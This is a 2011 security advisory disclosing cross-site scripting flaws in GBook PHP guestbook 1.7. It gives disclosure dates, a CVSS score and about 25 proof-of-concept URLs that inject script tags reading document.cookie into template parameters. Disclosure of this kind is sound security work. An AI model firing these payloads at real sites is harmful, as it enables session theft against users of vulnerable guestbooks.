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Cross-site Scripting (XSS) Vulnerabilities in GBook PHP guestbook

Advisory ID:HTB23028
Product:GBook PHP guestbook
Vendor:PHPJunkyar
Vulnerable Versions:1.7 and probably prior
Tested Version:1.7
Advisory Publication:July 6, 2011 [without technical details]
Vendor Notification:July 6, 2011
Public Disclosure:July 27, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in GBook PHP guestbook which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in GBook PHP guestbook
The vulnerability exists due to input sanitation error in the multiple parameters in scripts inside /templates/default/ directory. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that "register_globals" is enabled.
Exploitation examples:
http://[host]/templates/default/admin_reply.php?error=%3Cscript%3Ealert%28do cument.cookie%29;%3C/script%3E
http://[host]/templates/default/admin_reply.php?comments=%3C/textarea%3E%3Cs cript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/templates/default/admin_reply.php?nosmileys=%3E%3Cscript%3Eale rt%28document.cookie%29;%3C/script%3E
http://[host]/templates/default/admin_reply.php?num=%22%3E%3Cscript%3Ealert% 28document.cookie%29;%3C/script%3E
http://[host]/templates/default/comments.php?name=%3Cscript%3Ealert%28docume nt.cookie%29;%3C/script%3E
http://[host]/templates/default/comments.php?from=%3Cscript%3Ealert%28docume nt.cookie%29;%3C/script%3E
http://[host]/templates/default/comments.php?name=%3Cscript%3Ealert%28docume nt.cookie%29;%3C/script%3E
http://[host]/templates/default/comments.php?email=%3Cscript%3Ealert%28docum ent.cookie%29;%3C/script%3E
http://[host]/templates/default/comments.php?added=%3Cscript%3Ealert%28docum ent.cookie%29;%3C/script%3E
http://[host]/templates/default/comments.php?i=%22%3E%3Cscript%3Ealert%28doc ument.cookie%29;%3C/script%3E
http://[host]/templates/default/admin_tasks.php?error=%3Cscript%3Ealert%28do cument.cookie%29;%3C/script%3E
http://[host]/templates/default/admin_tasks.php?task=%3Cscript%3Ealert%28doc ument.cookie%29;%3C/script%3E
http://[host]/templates/default/admin_tasks.php?task_description=%3Cscript%3 Ealert%28document.cookie%29;%3C/script%3E
http://[host]/templates/default/admin_tasks.php?action=%22%3E%3Cscript%3Eale rt%28document.cookie%29;%3C/script%3E
http://[host]/templates/default/admin_tasks.php?button=%22%3E%3Cscript%3Eale rt%28document.cookie%29;%3C/script%3E
http://[host]/templates/default/admin_tasks.php?num=%22%3E%3Cscript%3Ealert% 28document.cookie%29;%3C/script%3E
http://[host]/templates/default/emoticons_popup.php?list_emoticons=%3Cscript %3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/templates/default/error.php?myproblem=%3Cscript%3Ealert%28docu ment.cookie%29;%3C/script%3E
http://[host]/templates/default/error.php?backlink=%3Cscript%3Ealert%28docum ent.cookie%29;%3C/script%3E
http://[host]/templates/default/no_comments.php?lang[t06]=%3Cscript%3Ealert% 28document.cookie%29;%3C/script%3E
http://[host]/templates/default/overall_footer.php?settings[pages_top]=%3Csc ript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/templates/default/overall_footer.php?settings[show_nospam]=1&s ettings[target]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/templates/default/overall_footer.php?settings[show_nospam]=1&s ettings[tpl_path]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/templates/default/overall_header.php?settings[gbook_title]=%3C script%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/templates/default/sign_form.php?name=%22%3E%3Cscript%3Ealert%2 8document.cookie%29;%3C/script%3E

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Solution:
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References:
[1] High-Tech Bridge Advisory HTB23028 - https://www.immuniweb.com/advisory/HTB23028 - Cross-site Scripting (XSS) Vulnerabilities in GBook PHP guestbook
[2] GBook PHP guestbook - phpjunkyard.com – Gbook is a guestbook written in PHP which uses mySQL as database.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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